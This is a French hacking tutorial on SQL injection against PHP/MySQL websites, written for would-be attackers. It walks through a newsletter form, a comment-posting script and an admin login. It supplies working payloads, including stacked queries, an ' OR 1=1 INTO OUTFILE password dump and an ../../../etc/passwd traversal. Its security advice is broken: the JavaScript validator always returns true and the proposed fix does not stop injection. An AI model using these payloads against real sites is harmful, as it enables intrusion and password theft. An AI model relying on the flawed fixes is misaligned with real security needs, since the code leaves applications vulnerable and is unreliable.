SQL Server, it’s a black hole for the security

 

Injection SQL

 

Les différentes techniques d’injection se dérouleront de la façon suivante :

 

-          1.0 Introduction

-          2.0 Mam, what that mean SQL?

-          3.0 Les différentes requêtes

-          4.0 Exploitation des failles

              - Inscription a une newsletter.

              - Post de news ou commentaires (architecture assez tordu)

              - Procédure d’authentification en PHP. (+ requêtes SQL liées au PHP)

-          5.0 Sécurité

-          6.0 Conclusion

-          7.0 Sources, inspiration et remerciement

 

1.0  Introduction

-=-=-=-=-=-=-=-=-=-

 

L’injection par requête SQL est une faille très rependue sur le Web qui est exploitable assez facilement par certains SK en manques de sensation…

L’injection SQL est un simple terme signifiant l’acte de passer dans une application un code SQL non prévu par le développer.

Elle est extrêmement dangereuse puisqu’elle permet de manipuler directement les bases de données des sites pouvant entraîné de nombreuses possibilités comme le vol de mot de passes, de données, utiliser les droits d’administrateur, modifier une newsletter, changement d’un post sur un forum, et j’en passe...

Mais avant tout rappelons que l’injection est possible a cause d’un mauvais filtrage au niveau de l’entré de l’utilisateur donc il est possible d’outre passe certaine protection SQL login/password... ;)

 

2.0  Mum, what that mean SQL ?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 

Par définition SQL («  langage d’interrogation structuré », de l’anglais « Structured Query Language ») est un langage qui vous permet de communiquer avec les bases de donnéesJ, pour se faire il faut envoyer une (des) requête(s) au serveur de base de données. La plupart du temps les requêtes sont faite grâce a des application en PHP/ASP/CFML/JSP...

 

2.0  Les différentes requêtes

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 

Alter Table (Base de données et table)

Create Database (Base de données et table)

Create Function (User Defined Functions)

Create Index (Manipulation des données)

Create Table (Base de données et table)

Delete (Manipulation des données)

Describe (Information sur les bases)

Drop Database (Base de données et table)

Drop Function (User Defined Functions)

Drop Index (Manipulation des données)

Explain (Information sur les bases)

Flush (Manipulation des données)

Grant (Gestion des droits d'accès)

Insert (Manipulation des données)

Kill (Manipulation des données)

Load Data (Manipulation des données)

Lock Tables (Gestion des droits d'accès)

Optimize Table (Base de données et table)

Replace (Manipulation des données)

Revoke (Gestion des droits d'accès)

Select (Manipulation des données)

Set (Information sur les bases)

Show (Information sur les bases)

Unlock Tables (Gestion des droits d'accès)

Update (Manipulation des données)

Use (Base de données et table)

 

4.0  Exploitation des failles de programmations

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 

Bon alors on commence par quoi ? Y’en à tellement mais moi j’opterai plutôt pour commencer par des bases en SQL (maniement des données) puis après le plus simple pour un peut vous échauffer, inscription a une newsletter, puis après une procédure d’authentification en PHP, et après on verra ;)

 

Newsletter :

 

Pour ce cas de figure on va directement communiquer avec la base de donnée ;)

On va commencer tranquillement avec cette mise en situation : soit la table (My) SQL « newsletter » comportant 2 champs a remplir, le nom (pseudo) et email (l’adresse email). Quelques commandes avant de s’attaquer a la faille :

 

Tout d’abord pour sélection la ligne et le nom ou pseudo « Skin » on va demander :

« select * from newsletter where nom=’Skin’ »

 

Presque pareil, pour sélectionner l’email et le nom de la personne: “Skin” :

« Select nom, email from newsletter where nom = ’Skin’ »

 

Pour remplacer l’email de la personne nommé Skin par Skin@arenhack.com:

« update newsletter set email=’Skin@Arenhack.com’ where nom= ’Skin’ »

 

Pour effacer l’inscrit nommé Skin avec ses information bien sur (nom+email)

« delete from newsletter where nom=’Skin’ »

 

Pour la totale maintenant, exécuter plusieurs requête SQL sur une ligne il faut les finir par un « ; ».

« delete from newsletter where nom=’Skin’; delete from newsletter nom=’Skin2’ »

 

Voila! C’est quand même ultra simple, je pense que vous comprenez mieux maintenant ;)

Maintenant passons aux l’explication !!!

 

Vous arrivez sur un site Web qui vous propose de vous inscrire à une newsletter, super non ?

Vous arrivez sur le même type de formulaire vue précédemment, c'est-à-dire nom plus email, par théorie vous allez remplir les 2 champs et vous inscrire normalement comme n’importe qui ;)

Mais sinon quand vous avez appuyer sur ce petit bouton « SEND » que c’est-il vraiment passer derrière ? C’est le genre de question que personne ne se pose ça encore !

 

Comme vu précédemment, le formulaire va envoyer un script a la base SQL qui va demander d’ajouter une ligne, ‘nom’ plus ‘email’

Maintenant si on analyse le code source de la page, on pourra peut être tomber là-dessus :

<impute type=text name= »nom »><input type=text name= »email »>

Toujours la même chose, on suppose que le script va demander d’ajouter une ligne de la base de donnée SQL du site.

Admettons que Skin a tapé son nom et son email et qu’il a validé, la formulaire passer les variable a un script qui les interpréter et en faire des requêtes SQL sur le serveur de base de données.

Le script va rajouter une ligne dans la table newsletter de la façon suivante : (en PHP)

 

<?
Connexion au server SQL
mysql_query("insert into newsletter ('$nom','$email')"); //exécution de la requêtes
echo "Vous venez d\'être inscrit à la newsletter\n";
// ce script est basique mais c'est plus simple pour débuter
?>

 

Analysons ce code, on voit que les variables ($nom & $email) correspondent aux noms qu’on avait attribué au tag<input> du formulaire vu un peut plus haut en HTML.

Le script va donc exécuter la requête : « insert into newsletter (‘Skin’,’Skin@arenhack.com’) »

 

Voila, Skin a été ajouter a la base de données SQL, le codeur est content son script marche bien.

 

Mais ce n’est pas fini, car pour l’instant nous avons juste démontré que Skin était bien inscrit dans la base donnée SQL du serveur grâce à un scripte qui va interpréter les variables.Mais maintenant allons un peut plus loin dans l’exécution du script, essayons d’inscrire 2 personne en une seul fois.

 

Que va-t-il falloir faire pour inscrire 2 personnes en même temps ? IL va falloir qu’on exécute 2 requêtes SQL en même temps sur la même ligne séparer par un « ; »

Ce qui va donnée quelque chose dans ce genre :

"insert into newsletter ('billy','billy@billy.fr');insert into newsletter ('billy2','billy2@billy.fr')"

 

Donc si nous voulons exécuter ce type de requête sur un serveur SQL, il va falloir que notre script PHP l’exécute :

---------------------------------------------------------------

Nom : Skin

Email: « Skin@arenhack.com’);insert into newsletter (‘Skin2’,’Skin2@arenhack.com’)”

---------------------------------------------------------------

Le but est “d’imbriqué” une nouvel requête SQL sur la même ligne dans notre variable $email

Je sais pas si vous m’avez suivit, mais c’était juste un exemple concret, c’est sure que maintenant vous aller pas vous amuser a inscrire 2 personne en une fois a une newsletter c’est sure. Mais vous avez appris les « bases » si je pourrais dire du stockage et du déplacement des données SQL.

 

Mais d’autres problèmes se poses :

 

Déjà dans le cas précèdent, c’était vraiment super simple puisqu’on connaissait déjà le nom de la table et en plus nous savions comment été structuré le script PHP.

 

Mais en réalité ce ne sont pas les seuls problèmes :

 

- Si nous ne connaissons pas la requête SQL et que le script l’aurai envoyé au serveur SQL alors nous airions une page d’erreur, donc déjà cette faille ne s’adapte pas dans tout les cas.

Ensuite pour écrire notre requête, nous ne possédons pas assez d’information car il y aurait très bien pu avoir un champ ID avant le nom et l’email ou tout autre chose donc nous ne connaissons pas l’existence.

 

 

 

En faite au départ, l’attaque est supers simple, mais elle est compromise par pas mal de facteur comme le type de la base de données, le nom de la table, le nom des champs, etc....comme je viens de vous le prouvez.

C’est pour cela que l’ont dit dans ce cas, que le serveur et une black box, une boite noir autrement dit.

 

Mais il y a un point que je n’est pas encore abordé, comment déceler ce genre de faille.

Cela peut être aussi important que pour le hacker, que pour le webmaster qui veut sécuriser son site.

 

- Alors d’abord analyser le code source de la page, pour se faire afficher le a partir de votre navigateur ou enregistrez le sur votre HD. Maintenant, regardez le nom des variable qui vont être envoyer et essayer de trouver des <input type=hidden> qui pourrait nous aider.

 

- Maintenant, on va faire comme tout a l’heure, mettez vous a la place du programmeur et le programmeur a la place du hacker vis versa.

Vous vous rappelez ce qu’on avait dit sur le nom de la table ? Un nom simple, pas « GHUYF89 », donc une faut un peut d’intuition pour trouver le bon nom de la table/champs.

 

- Maintenant essayer de provoquer une erreur lors de l’exécution du script, une requête qui n’est pas attendu par le serveur car si le script est mal codé vous pourrez voir la ligne de code afficher par votre browser ce qui vous permettra de voir le code source. Aussi vous pouvais utiliser une technique Buffer Overflow en mettant un maximum de données qui ne sont pas attendu par le serveur comme  #|^^£*ù% !;: »’--_@ .

Mais avant même de vous épuiser a faire sa, taper ‘ou » dans un champs et si le serveur ne vous retourne aucune erreur, le script risque d’être sécurise a 99%L.

 

Apres avoir vue la technique du Buffer Overflow, il y a aussi celle d’utiliser un exploit sur le serveur Web pour récupéré le code source :

 

-Utilisez showcode.asp sur IIS installer par défaut (encore une connerie...)

 

- Si vous avez un script sur le serveur, ce sui st assez fréquent, qui permet de télécharger un fichier en passant par le nom en variable comme par exemple downloads.cgi ?file=fichier.zip il suffit d’un peut d’intelligence pour transformer le script en downloads.cgi ?file=fichier qu’on veut.zip sans oublier qu’il est peut être possible de remonter dans le répertoire downloads.cgi ?file=../../../etc/passwd.

 

Post de news

 

Dans certains sites (comme Arenhack.com) ou moteur de recherche laisse la possibilité a leurs visiteurs de poster une news ou même un commentaire. Dans certains scripts, l’utilisateur doit s’authentifier ce qui restreint le nombre de personnes indésirables. En revanche il existe encore plusieurs sites qui ne demandent pas d’authentification. Voici le code vulnérable :

 

if ( $action=="ajout" )
      {
        $date=date("Y/m/d H:i");
        $ajout_sql = mysql_query("insert into $table (nom, auteur, email, texte, date) values ('$nom', '$auteur', '$email', '$texte', '$date')",$connexion);
     }

 

Le formulaire transmet a la page le script une variable ‘hidden’. Si son contenue est ajout alors le script a pour valeur ajout alors, il va l’ajouter dans la base de données SQL. Le nom de la table est variable selon la news et lui correspond donc par exemple si il s’agit d’un commentaire sur la new 70 alors le nom de la table pourra être new_70.

Voici la pseudo faille qui peut effectivement paraître assez inutile mais assez embêtante pour les webmasters.

L’attaquant va poster un commentaire ‘fantôme’ (‘hidden’ vu plus haut), ainsi imaginons que la requête d’ajout de news soit :

http://arenhack/addcommentaire.php?newsID=70&nom=skin&email=skin@arenhack.com&texte=blablabla %200wnz%Thv69

Donc si la news numéro 70 existe, alors elle va être poster, or si elle n’existe pas elle va quand même être poster, J là est le problème!

 

Bon, c’était vraiment un exemple tout con d’injection, bien sur c’est extrêmement rare de voir un script aussi mal coder, c’est même impossible, c’est juste à titre d’exemple !

 

NOTA BENE...

 

Pour ceux qui auraient eu le déshonneur de coder ce genre de scripte voici comment le sécuriser :

 

$query = "SELECT * FROM table_news";
$requete = mysql_query($query);
$nb = mysql_numrows($requete);
if ( ($action=="ajout") && ($newsID < $nb) )
{
     $date=date("Y/m/d H:i");
     $ajout_sql = mysql_query(...);
}

 

 

Procédure d’authentification en PHP :

 

Alors voila je vous expose au faits, on est dans un espace membre donc on est un peut aller traîner dans le fichier log_admin.php dans le fichier caché du site après avoir repéré les faille du service PHP. Et on se retrouve devant sa :

 

< ?

 

include (« member/config.php) ;

if($pseudo=’’ ||  $password== ‘’)

{

[…]

exit;

}

db_connect();

$sql= mysql_query(“SELECT password FROM admin_conf where

login= ‘$pseudo’”);

$nb = mysql_num_rows($sql);

 

if($nb == 0)

{

echo “<center><h3>Mauvais Indentification</h3></center>”;

mysql_close();

exit;

}

else

{

$sql2 = “SELECT id_conf FROM admin_conf WHERE login = ‘$pseudo’”;

$req2 = mysql_query($sql2) or die(‘ Erreur SQL !

<br>’.$sql2.’<br>’.mysql_error());

$data2 = mysql_fetch_array($req2);

mysql_close();

$id_conf = $data2[‘id_conf’];

$expire = 365*24*3600;

setcookie(“admin”,”$pseudo”,time()+$expire,”/”,””);

setcookie(“id_conf”,”$id_conf”,time()+$expire,”/”,””);

session_start();

session_register(‘pseudo’);

session_register(‘admin_id’);

$_SESSION[‘log_admin’] = $pseudo;

$_SESSION[‘id_admin’] = $id_conf;

header(“Location: _admin/administration.php”);

}

 

?>

 

Bon alors on va faire dans l’ordre, déjà on voit deux variables qui ne doivent pas être vides: $pseudo et $password. Ensuite on extrait le mot de passe de la table admin_conf en fonction du $pseudo, après si il y a un résultat, donc que le pseudo est un log admin, on extrait l’id_conf de l’admin de la même table. Mais attention ! Grosse faute du programmeur car le password n’est pas vérifié !!! Ainsi si on connaît le login de l’admin, on peut accéder dans la zone membre ;)

Super, mais l’injection SQL, c’est pour quand ? ;)

Dans le fichier login.php, il y a une possibilité d’injection SQL SI la configuration du serveur Web est magic_quotes_gpc=OFF

Code :

-------------------------------------------------------------------

$sql = « select password from $dbtable where login = ‘userlogin’ » ;

$req = mysql_query($sql);

-------------------------------------------------------------------

 

Si on donne a $userlogin la valuer: ‘OR 1=1 INTO OUTFILE ‘/complete/patch/file.txt et une valeur quelconque a $password, tous les mots de passé seront enregistrés dans le fichier /complete/patch/file.txt.

Attention ! Enorme faille ! Grâce à cette injection vous pouvez avoir le mpd de quelqu’un ! Il suffit d’ajouter le pseudo au début de la valeur et de virer le OR 1=1

Exemple: Bob’ INTO OUTFILE’/complete/patch/file.txt

 

Les différentes requêtes liées a PHP :

 

mysql_affected_rows

mysql_change_user

mysql_close

mysql_connect

mysql_create_db

mysql_data_seek

mysql_db_name

mysql_db_query

mysql_drop_db

mysql_escape_string

mysql_fetch_array

mysql_fetch_assoc

mysql_fetch_field

mysql_fetch_lengths

mysql_fetch_object

mysql_fetch_row

mysql_field_flags

mysql_field_name

mysql_field_len

mysql_field_seek

mysql_field_table

mysql_field_type

mysql_free_result

mysql_get_client_info

mysql_get_host_info

mysql_get_proto_info

mysql_get_server_info

mysql_insert_id

mysql_list_dbs

mysql_list_fields

mysql_list_tables

mysql_num_fields

mysql_num_rows

mysql_pconnect

mysql_query

mysql_result

mysql_select_db

mysql_tablename

mysql_unbuffered_query

 

 

5.0  Sécurisation des failles

-=-=-=-=-=-=-=-=-=-=-=-=-=-

 

A tout problème existe une solution, enfin presque...rien n’est impossible en informatique de toute manière.Le principe, comme je l’es dit dans l’introduction est filtré les donnes rentrantes de façon a évité les script malveillant. Prénoms un exemple simple :

J’ai un formulaire qui me demande mon nom de famille, donc si je met des chiffres sa va sembler bizarre non ? (A moins que me m’appelle C3PO, mais bon c’est rare...J).

Donc pour résoudre ce problème, il y a plusieurs méthodes qui s’offre a vous :

 

- Soit sécuriser avec du javascript au niveau du client, vérification du champs « nom » et si ce champs contient  des chiffres alors il est refusé.Comme par exemple :

 

<SCRIPT LANGUAGE="JavaScript">
function checkstring(text){
         pat=/^[A-Za-z0-9]{6,10}$/;
         result=text.match(pat);
         return TRUE;
}

function Send(){
         if (checkstring(txtName) && checkstring(txtPassword)){
             login.submit();
         }
}
</SCRIPT>

Le but étant d’enlever les caractères dangereux.

 

Mais ce n’est vraiment pas une bonne idée d’utiliser ce genre de script car il peut être lui même détourner par un autre script.

Mais ce n’est pas la seul contrainte de ce genre de sécurité car supposons que le formulaire envoie des données en POST, si nous remplissons le formulaire avec des caractères non conformes le script va fonctionner. Mais maintenant, si on fait un système, c'est-à-dire que lieu de remplir directement le formulaire, on envoie directement les variables avec quelque chose comme sa : formulaire.php ?=cequevousvoulez, la variable sera interpréter par le serveur et non pas par le client.

Donc cette sécurité est  vraiment inefficace, je vous conseil de directement de sécurisé au niveau du serveur.

 

- Maintenant parlons de la sécurité la plus sûre, c’est notre script PHP qui va analyser les données entrées. Et si elles sont non conformes, il les refuse et envoie un message d’erreur.

 

- Mais le mieux est encore de sécurisé au 2 niveau, c'est-à-dire au niveau du client et au niveau du serveur, c’est le moyen le plus sûre. Mais si il y a un conseil que je peux donnée au webdevelopper, c’est de ne pas sous estimer cette faille car elle peut faire très malJ.

 

 

6.0  Conclusion

-=-=-=-=-=-=-=-=-=-

 

J’ai pu vous démontrez dans cette article que les bases de données SQL sont très facilement piratable en connaissance de quelques information sur les différente tables/champs. Bien entendu les faille de se genre se font de plus en plus rare car les webmasters sont vigilent. Tout de même certaines injection reste possible, vous pouvez vous en rendre compte sur www.security-corporation.com qui reste à jour sur toute les nouvelles failles, injection et techniques de buffer overflow (US). 

 

7.0  Inspiration, Sources, Remerciement

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 

Inspiration de départ : Hackademy manuel n°5

Quelques sources : Hackademy journal n°11, tutorial de Crazy Lord //SQL hacking, tutorial de Memonix //SQL #1

Remerciement : SpS6m3N pour m’avoir donner quelques sources de tutoriaux et Nocte qui m’a redonner confiance en moi quand je pensée que mon tuto était une kiche